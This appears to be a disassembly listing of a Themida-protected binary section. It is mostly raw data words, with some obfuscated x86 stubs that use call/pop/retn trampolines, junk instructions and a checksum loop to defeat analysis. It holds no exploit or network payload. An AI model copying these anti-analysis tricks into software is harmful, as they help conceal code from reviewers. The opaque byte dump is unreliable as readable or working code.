dd 0EB96BD83h, 0F0007FDh, 47684h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 2EF6FD4Ah
dd 820FAC86h, 6, 26659D8Bh, 0BD0307FAh, 7FA0FC5h, 1F619D8Bh
dd 0B5FF07FAh, 7FDEB96h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 0B1C35646h, 8218529h, 95FF07FAh, 7FA2745h
dd 0B44CBB66h, 0EB8AB58Bh, 6A07FDh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 1979E0C3h
dd 106C7EAh, 6A000100h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 63D5C357h, 76FF8613h
dd 14E97EEAh, 0DA000000h, 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h
dd 0A25EBC9Ch, 96BB5662h, 61F08B60h, 0F88B6650h, 96B5FF96h
dd 6A07FDEBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0BA9DC357h, 0E8FD9CE5h, 0F5E0AD0h
dd 0C81h, 68C0F00h, 9000000h, 0FA0F6195h, 0E18D8907h, 0FF07FA10h
dd 0FA18E195h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 469EF312h, 118E0FF5h
dd 0E8000000h, 5, 1028E7C7h, 31B58930h, 5F07FA28h, 12E8h
dd 0ADCB7700h, 0D37DB32Eh, 4332AC66h, 0CD26CBBAh, 5BA3F827h
dd 0EB8AB58Bh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 2C83F4C3h, 0EB81666Eh, 858B770Ah
dd 7FA1C7Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 7BC35646h, 0C95CA2C8h, 0E96906B3h, 7, 5FEAB1ECh
dd 0FD88C08h, 8689FBBFh, 0C4h, 5E27E381h, 8BF92BDBh, 0FA1CD995h
dd 65BD3107h, 8307FA1Ch, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0F2C3BC3h, 688h, 81858900h
dd 8B07FA08h, 0FA23059Dh, 20508907h, 0FEF7858Dh, 5E807FDh
dd 6C000000h, 0AF1EB8FDh, 8C18589h, 895B07FAh, 0B886h
dd 68F0F00h, 9000000h, 0FA1DF9B5h, 6A006A07h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 653CC356h, 6694657Dh, 0A544CB81h, 1C29B589h, 0B5FF07FAh
dd 7FDEB96h, 2FA9BD8Bh, 95FF07FAh, 7FA1C95h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3FC35545h, 0E3230C8Bh
dd 576EE177h, 9D8BF8D1h, 7FA2059h, 3CB8166h, 0BE99675h
dd 60000000h, 0D6403CDFh, 2F53D318h, 0F50FD8Dh, 1386h
dd 8E800h, 6EFC0000h, 0BE7F5584h, 89BB48A6h, 5B17F3C5h
dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 81623B7Fh, 462DCEE3h, 96B5FF71h, 6A07FDEBh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 9E03C357h, 0E9A20F56h, 0B509193Eh, 7FA1CA5h
dd 1D9595FFh, 8D0F07FAh, 6, 68DBD0Bh, 0BD8307FAh, 7FA0131h
dd 20840F00h, 0E9000000h, 7, 317A2EA2h, 5013495Fh, 48F0Fh
dd 0BF660000h, 34890E2Ah, 59958924h, 0FF07FA2Ch, 0FDEB96B5h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 8B28D55Ch, 0FA215DBDh, 0B595FF07h, 6607FA1Ch
dd 0B5FFDE8Bh, 7FDEB96h, 21AD95FFh, 6A07FAh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D5D162C3h
dd 0FB1CBCBh, 21BD83D7h, 207FA22h, 7D840Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 0B6035DC3h, 4179F87Dh, 9E89Ah, 78CB0000h, 0E5628B55h
dd 0E85AC534h, 6, 3634406Ah, 81667919h, 5BA1A3F7h, 0F1BD235Fh
dd 8B07FA00h, 0FA161585h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 90A885B5h
dd 0BEF85C63h, 0C67069h, 85B52900h, 0C707FA01h, 0FA16DD85h
dd 7, 35BD8B00h, 0E907FA14h, 0FFFFF2CEh, 5E951h, 6E490000h
dd 5B56BE2Fh, 0AE8C18Bh, 0AA000000h, 57E9ED14h, 95BD5222h
dd 619D0326h, 5B07FA06h, 199858Dh, 6A07FAh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 20F6D7C3h
dd 896B2314h, 0FA2109BDh, 0D88B5007h, 6A240489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 7958C357h, 0C2698E1h, 0FA4C1BECh, 21A98501h, 6A07FAh
dd 5800Fh, 62BB0000h, 6A64F34Eh, 0B99D8B00h, 8D07FA18h
dd 0FEB5E285h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 6DE5AB9h, 0F6045AEh, 9D03FFBFh
dd 7FA2A75h, 5C08361h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 73C35545h, 8EC9E158h, 0BD8B40FAh, 7FA1575h
dd 90F88B66h, 7581BF66h, 0BE850h, 0D7D70000h, 94416B5Eh
dd 1ABC78ACh, 3810FECh, 66000000h, 905BDF8Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 37C35646h, 0E28CCAE8h
dd 89D94EDFh, 0FA259985h, 6AFC07h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 8DC35343h, 0FDD8B6A4h, 383EA6CCh
dd 0EE9006Ah, 0E0000000h, 0F3E7F8ABh, 0AED9F8DDh, 0BD9F56h
dd 0E995FF19h, 0F907FA2Bh, 0D7118D8Dh, 8B6607FDh, 6AD1FFD9h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 4B59C350h, 33EDBD83h, 0F0107FAh, 7A85h, 0CE900h
dd 6600000h, 7BC9B448h, 5C3058ECh, 0DA8BCB37h, 8B66026Ah
dd 0D98B50FBh, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 5423C357h, 30C4325Fh
dd 11E815A8h, 0E000000h, 594A5561h, 0AFFAB7FEh, 84685A7Bh
dd 0F21B4A1Fh, 0AE8h, 23D5F900h, 491A83FAh, 0F450480h
dd 82h, 0F55B5B00h, 1C9595FFh, 0EEBB07FAh, 0E939E4AEh
dd 0E6Bh, 0E8h, 0ED815D00h, 7FEB5ECh, 5DCC381h, 6A14F8h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0BB3F27C3h
dd 0B959858Dh, 6A07FDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 2C6C41C3h, 91CA5741h, 80F98B64h
dd 8B66B5DBh, 8A0F90FAh, 2, 665041B7h, 902BC1BFh, 64DBCB80h
dd 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 8964F8C3h, 25h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 91DAF572h, 104985FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0C654BCC3h, 0EFE14682h
dd 2D3DBD8Bh, 0FF6A07FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0CC35646h, 7453DB4h, 9CF8166h, 0FE8B66C4h
dd 0D31B5FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 709E15C3h, 896288Dh, 9D8BFF0Dh
dd 7FA1671h, 29999D89h, 95FF07FAh, 7FA2875h, 0F7E9h, 71958900h
dd 0B007FA2Dh, 0C1F78100h, 0E654BAFDh, 0DA8B6670h, 0BD8B71E4h
dd 7FA2BEDh, 830F613Ch, 0D4h, 253D9D0Bh, 0F38107FAh, 1E294E31h
dd 29C8B60Fh, 0FA0FF1BDh, 0A59D8907h, 0BA07FA15h, 6, 0C18BFB8Bh
dd 8E9h, 91D74000h, 0A3C1C1EFh, 4E8C174h, 81E2F766h, 794CB4D3h
dd 66C82B16h, 3AF2C781h, 0F380D18Bh, 6E9A1h, 95890000h
dd 7FA183Dh, 0E9D858Bh, 9D2307FAh, 7FA0E09h, 8A07C083h
dd 0C083FDh, 3165BD8Bh, 0D03B07FAh, 23830Fh, 0DE90000h
dd 0CC000000h, 3594B863h, 14428D92h, 0E4ED9185h, 47E9h
dd 68E0F00h, 29000000h, 0FA291D9Dh, 0C58D8B07h, 0F07FA0Ch
dd 685h, 61B58900h, 8307FA22h, 840F01E1h, 20h, 0CC5A583h
dd 50FE07FAh, 898D01h, 895B07FAh, 0FA0E9D95h, 0F18D8907h
dd 0E907FA30h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7FE38EDh]
push 0
push ebp
call sub_5CEC85
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CEC85 proc near ; CODE XREF: Themida_:005CEC7Dp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5CEC85 endp
; ---------------------------------------------------------------------------
db 74h, 91h, 0EEh
dd 45236EF5h, 0E95BD8Bh, 6A07FAh, 17CD8529h, 0B52907FAh
dd 7FA247Dh, 101995FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 8AB97BC3h, 2591BD8Bh
dd 4DB907FAh, 6A000008h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0B7CEC350h, 9B7A34Ah
dd 0F9A06C2h, 482h, 61606000h, 0FCE18361h, 6F38166h, 6AFCCEh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0B8C7EBC3h, 0E8F5C5E8h, 0Ah, 0B6FC9B06h, 3D0352C0h
dd 880FB14Ah, 6, 24B19D8Bh, 0B85B07FAh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5CED63
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CED63 proc near ; CODE XREF: Themida_:005CED5Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5CED63 endp
; ---------------------------------------------------------------------------
db 0C8h
; ---------------------------------------------------------------------------
jg loc_5CED88
pusha
mov esi, [ebp+7FA187Dh]
mov [ebp+7FA25D1h], esi
popa
loc_5CED88: ; CODE XREF: Themida_:005CED74j
sub edx, edx
mov [ebp+7FA2A0Dh], eax
loc_5CED90: ; CODE XREF: Themida_:005CED9Aj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5CED90
cmc
xor [ebp+7FA06A9h], ecx
or eax, 88h
xor edi, 28B8F952h
mov edx, [ebp+7FA1CD9h]
push 0
push esi
call sub_5CEDBF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CEDBF proc near ; CODE XREF: Themida_:005CEDB7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5CEDBF endp
; ---------------------------------------------------------------------------
scasd
enter 22A6h, 8Bh
inc ecx
sbb ebx, 5B6D0D49h
mov ecx, [ebp+7FA31ADh]
mov bh, 0BFh
push eax
mov eax, edx
mov ebx, [eax]
add eax, ecx
mov ebx, [eax]
mov eax, ecx
shr eax, 1
add eax, edx
mov ebx, [eax]
pop eax
push 0
push edx
call sub_5CEE00
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CEE00 proc near ; CODE XREF: Themida_:005CEDF8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5CEE00 endp
; ---------------------------------------------------------------------------
dd 46113E31h, 6A0CEBFh, 7EBF6608h, 29BD835Ch, 7FA2Ah, 94840Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 16EC3C3h, 11BD8B18h, 0F07FA25h, 789h, 1870F00h
dd 0F9000000h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 4FCF938Ch, 8DFCB21Dh
dd 0FA4F668Dh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 0DEF25B83h, 890F0DAEh
dd 6, 27819D8Bh, 0E1FF07FAh, 1C259589h, 0BD8307FAh, 7FA2BD9h
dd 5B840F00h, 66000004h, 0BD83D98Bh, 7FA2BD9h, 66840F01h
dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 4D6FC355h, 890F6025h, 2, 810F6160h
dd 4, 0CB1B966h, 0D9BD8361h, 307FA2Bh, 3F1860Fh, 0BF660000h
dd 85895DEFh, 7FA02CDh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 0BD8B72B9h, 7FA23FDh
dd 0C859D89h, 8C6607FAh, 5E9D9h, 38D60000h, 80E2365Fh
dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 22C6F4C3h, 0EB0BDBEBh, 0C90A1E22h, 13A840Fh
dd 0FAB70000h, 0FE9858Bh, 8E907FAh, 86000000h, 0E91E6A4Fh
dd 33E333A2h, 0FA15E185h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 8D8F30A1h
dd 810C515Dh, 0B609F6D3h, 4FEF816Eh, 9006CEF9h, 0FE9h
dd 620DBD00h, 83A65B47h, 0F65802E6h, 0D4284B13h, 9E950h
dd 64640000h, 1002EE54h, 901BC8EAh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 58C35646h, 16DA5EDh, 0FA146995h
dd 0E8006A07h, 5, 0AC1AFCDFh, 6890F06h, 31000000h, 0FA0E15B5h
dd 9D8B5B07h, 7FA2761h, 4E8h, 1F03FF00h, 0D98B5000h, 424448Bh
dd 0BF66008Bh, 4489E783h, 0BF660424h, 6A58BC12h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0B43C352h, 0E3800E13h, 0E995FF03h, 6A07FA1Ch, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 0B034C350h, 8589F8EAh, 7FDEB96h, 9E9h, 4F68CB00h, 0B9A04F9Ch
dd 0C1E92471h, 66000001h, 0BD0BFB8Bh, 7FA2C25h, 0EB8E858Bh
dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 2F74AEC3h, 23E97164h, 66B5892Eh, 547CEF81h
dd 1800C7h, 8D0F0000h, 6, 261D9D8Bh, 0B58B07FAh, 7FDEB92h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0F0C35040h
dd 39BD8BF2h, 8B07FA08h, 0FA0D5185h, 0CE807h, 96380000h
dd 163B9318h, 0ACA4D37Bh, 5FF8E9E8h, 7D3DBF66h, 6A0689h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0BF0F28C3h, 0E9858BDBh, 6A07FA0Fh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B0DFC351h
dd 0FC7236EFh, 0C19D8B3Fh, 8907FA21h, 6A0446h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 95337CC3h, 63D5B97Ch, 55858913h, 9607FA07h, 0FE8B6650h
dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 6BB8E070h, 2BD1C04Bh, 0BD8BB1B5h, 7FA22A1h
dd 0EB8EB5FFh, 0EE807FDh, 4E000000h, 0CFF130E3h, 12217CDDh
dd 5D4C5492h, 184EBBDAh, 685B6839h, 0B28A4120h, 81D88B66h
dd 0C2DF2404h, 0BF664D94h, 858D6743h, 7FDEB96h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0F5C35040h, 2953FA9Ah
dd 0FA16BD85h, 0E9505F07h, 11h, 5B49178Eh, 94063450h, 39D8320Bh
dd 137A00C8h, 2404894Fh, 0FFB9C780h, 0FA1CE995h, 0D88B6607h
dd 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 0F092B60Eh, 5BEFC63h, 85C70232h, 7FA2BD9h
dd 3, 0E7D9589h, 0BD8307FAh, 7FDEB96h, 4C840F00h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 2631C353h, 0F9E9775Bh, 69C902D1h, 3DE9h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0F1858905h, 5007FA28h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 599F12C3h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0AAC35747h
dd 0D9BD8334h, 307FA2Bh, 4B8850Fh, 0D0B30000h, 0EB96BD83h
dd 0F0007FDh, 4A984h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0ECB22988h, 92221741h
dd 8B667984h, 96B5FFDFh, 6A07FDEBh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7488C353h
dd 4595FF91h, 0F07FA27h, 81h, 0C7C78100h, 8B3FA126h, 0FDEB8AB5h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 47E333A2h, 44395C32h, 0FE8h, 0F2EF6C00h
dd 5B7A780Ah, 1B67A72Bh, 0ABBF3939h, 5FFFB70Fh, 106C7h
dd 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 505089C3h, 28A0F52h, 53000000h, 60310F5Fh
dd 932CB6BBh, 0CE871h, 0BBE30000h, 12FB4977h, 7C46A794h
dd 615E1640h, 3489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 0B6282D7Fh, 0F51B2304h
dd 0FD9D8B09h, 0FF07FA21h, 0FDEB96B5h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 202C3D05h, 14E8h, 0F6CFC400h, 1B49D7C8h, 1A2861CBh
dd 184E9C00h, 0D87E9E9Bh, 9D295F35h, 7FA001Dh, 18E195FFh
dd 0EE907FAh, 87000000h, 497FD651h, 5B5DFFF3h, 51A93604h
dd 8AB58BA0h, 6A07FDEBh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 11AEC357h, 99028116h
dd 3FA091Fh, 0FA20559Dh, 7D858B07h, 6A07FA1Ch, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 0F429C351h, 92BF6613h, 0C486894Ah, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 92E1C355h, 25326681h, 1EE1C7CAh, 0F258589h, 0BD2B07FAh
dd 7FA0305h, 1CD9958Bh, 0E38107FAh, 3850A251h, 195DE781h
dd 0C28371F2h, 89FE8B04h, 6A2050h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0A71A99C3h, 0DF9A483Ch
dd 8D0CB1B6h, 0FDFEF785h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 9D8B548Bh, 7FA0139h, 0B88689h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0AE9575C3h, 4D20C59Ah, 17959501h, 6A07FAh, 29119529h
dd 0B5FF07FAh, 7FDEB96h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 50C35242h, 81668319h, 0FF4A83F7h, 0FA1C9595h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 95899A6Ah, 7FA18FDh, 52506096h, 7DB9E9BAh
dd 0F310F3Bh, 8Ch, 8A585A00h, 665061D7h, 6A96D88Bh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 64B3C350h, 9D8BB4B5h, 7FA14B1h, 0EB96B5FFh, 6A07FDh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 89EE7DC3h, 26395E75h, 4A54E381h, 0C5B77384h, 1D9595FFh
dd 860F07FAh, 0
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7FA0131h], 0
jz loc_5CF773
push 0
push edx
call sub_5CF73C
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF73C proc near ; CODE XREF: Themida_:005CF734p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5CF73C endp
; ---------------------------------------------------------------------------
dd 37FED928h, 370DB02Dh, 0DE85072h, 0E000000h, 1B6EBD75h
dd 0EF368256h, 0F0DEBC1Ch, 895BDF8Bh, 85BB2434h
db 7Dh, 0Ah, 43h
; ---------------------------------------------------------------------------
loc_5CF773: ; CODE XREF: Themida_:005CF72Bj
push dword ptr [ebp+7FDEB96h]
jb loc_5CF789
pusha
mov ecx, [ebp+7FA1DADh]
pusha
popa
popa
loc_5CF789: ; CODE XREF: Themida_:005CF779j
call dword ptr [ebp+7FA1CB5h]
jb $+6
sbb edi, 33CC0885h
push dword ptr [ebp+7FDEB96h]
add ebx, 476BF757h
xor [ebp+7FA1895h], ecx
call dword ptr [ebp+7FA21ADh]
push 0
push ebx
call sub_5CF7BE
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF7BE proc near ; CODE XREF: Themida_:005CF7B6p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5CF7BE endp
; ---------------------------------------------------------------------------
dw 5D7Fh
dd 21BD83DBh, 207FA22h, 48840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FDC41C3h
dd 68Fh, 0FD9D0300h, 8B07FA2Eh, 0FA161585h, 5E807h, 0D8EA0000h
dd 8B6C6C81h, 0FA08859Dh, 0C65B07h, 0DAD0BB00h, 85C721DEh
dd 7FA16DDh, 0
dd 12E8h, 324D2A00h, 5A95195Ah, 34D64402h, 0D36C2E7Ch
dd 0FE22247h, 108Fh, 0BE900h, 0BDC70000h, 64C65EB8h, 0EA03719Eh
dd 0AFE95BD9h, 6AFFFFF2h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 4DCBC357h, 203DB149h
dd 81660355h, 8BB5B6F3h, 2DBD8BC1h, 8D07FA16h, 0FA019985h
dd 0B9BD0307h, 5007FA0Dh, 0C860Fh, 52500000h, 595BF66h
dd 6160310Fh, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0BD8BCF9Bh, 7FA1EA5h
dd 6AFB8Bh, 8BDE8B60h, 0FA0AE9BDh, 6A6107h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F0C35343h, 88858DE8h
dd 6A07FEC6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 3642C355h, 3B6787AFh, 9D8B1DCAh
dd 7FA1001h, 6A05C083h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 50A0C355h, 11E9h, 0EB792200h
dd 0E96E9B88h, 0B860D992h, 77D699EBh, 4896FFAh, 0F8B70F24h
dd 9D89006Ah, 7FA0091h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 2D5FEC3h, 55478CA5h
dd 0FF2FAE50h, 0FA2BE995h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0A5B589FCh
dd 8D07FA34h, 0FDD7118Dh, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 25DC147Bh
dd 0AF18534h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 0FF04C2C3h, 6860F64h, 89000000h
dd 0FA00BD85h, 0EDBD8307h, 107FA33h, 9F850Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 5D1912C3h, 13C51F05h, 26A9F00h, 0C0EF8166h, 840F9094h
dd 0
; ---------------------------------------------------------------------------
push eax
jmp loc_5CFA73
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
align 4
dd 757DF527h, 0F925FBEAh, 8B7871A5h
db 7, 0C5h, 4Bh
; ---------------------------------------------------------------------------
loc_5CFA73: ; CODE XREF: Themida_:005CFA5Dj
nop
push 0
push esi
call sub_5CFA7F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFA7F proc near ; CODE XREF: Themida_:005CFA77p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5CFA7F endp
; ---------------------------------------------------------------------------
db 66h
dd 256B92F3h, 0D7815FE9h, 66F0E997h, 1C9595FFh, 6A07FAh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 8BE851C3h, 0FA15B9BDh, 0BBB6607h, 0DCAE979h, 0E80000h
dd 5D000000h, 0C692ED81h, 0FB8B07FEh, 6ADABF0Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0FD7AC351h, 40145F26h, 6659123Eh, 307CEB81h, 0B959858Dh
dd 5E807FDh, 1E000000h, 3C270157h, 905BFA8Bh, 50FB8B66h
dd 0F9083B3h, 687h, 499D8B00h, 6407FA11h, 35FFh, 0BD890000h
dd 7FA32A5h, 258964h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0FF46C357h, 0FA104985h
dd 6AFF6A07h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 9CCDC350h, 0A0394045h, 0C840Fh
dd 8A0F0000h, 6, 351D9589h, 0B5FF07FAh, 7FA2515h, 0FFFE8B66h
dd 0FA287595h, 151E907h, 0BD8B0000h, 7FA1789h, 0D78100B0h
dd 5F3941Ch, 0F9B370E6h, 816671E4h, 3C10DFD7h, 30830F61h
dd 81000001h, 356102C3h, 0C8B60F06h, 7E8h, 11533D00h, 5626B81h
dd 7E8h, 0FF30B100h, 6E3956F0h, 6BA5F5Bh, 0E9000000h, 0Dh
dd 0F67A356Ch, 691B77CDh, 19F4A6Bh, 0FC18BDFh, 286h, 0C1F88B00h
dd 0F6004E8h, 284h, 61595000h, 60E2F766h, 13E9h, 5A79D300h
dd 42A4D91Eh, 1EFE8E05h, 0AC131155h, 90E58669h, 0DE9h
dd 0A6E84300h, 350BCDC2h, 3AB4234Fh, 2B61FCF8h, 0F1D781C8h
dd 8B5982E3h, 0F98529D1h, 0E907FA2Eh, 12h, 7E9h, 8E65900h
dd 0F9B3EA7Dh, 810Fh, 858B0000h, 7FA213Dh, 839EF780h, 13E807C0h
dd 85000000h, 0A6BF5E03h, 0D572997Fh, 0D247C36Eh, 0C2E2C11Eh
dd 9D89E0B1h, 7FA2039h, 0C0835Fh, 830FD03Bh, 11h, 67D9589h
dd 48E907FAh, 60000000h, 8C75B866h, 218D8B61h, 0E907FA05h
dd 0Bh, 0B2EBBBF7h, 0A48C34A6h, 835D0F17h, 840F01E1h, 23h
dd 0B319D89h, 0A58307FAh, 7FA0521h, 0D38166FEh, 95897EEDh
dd 7FA213Dh, 0A69BD09h, 0E907FAh, 8D000000h, 0FE4352B5h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 9964971Ch, 2860F99h, 8B000000h, 6A006AF9h
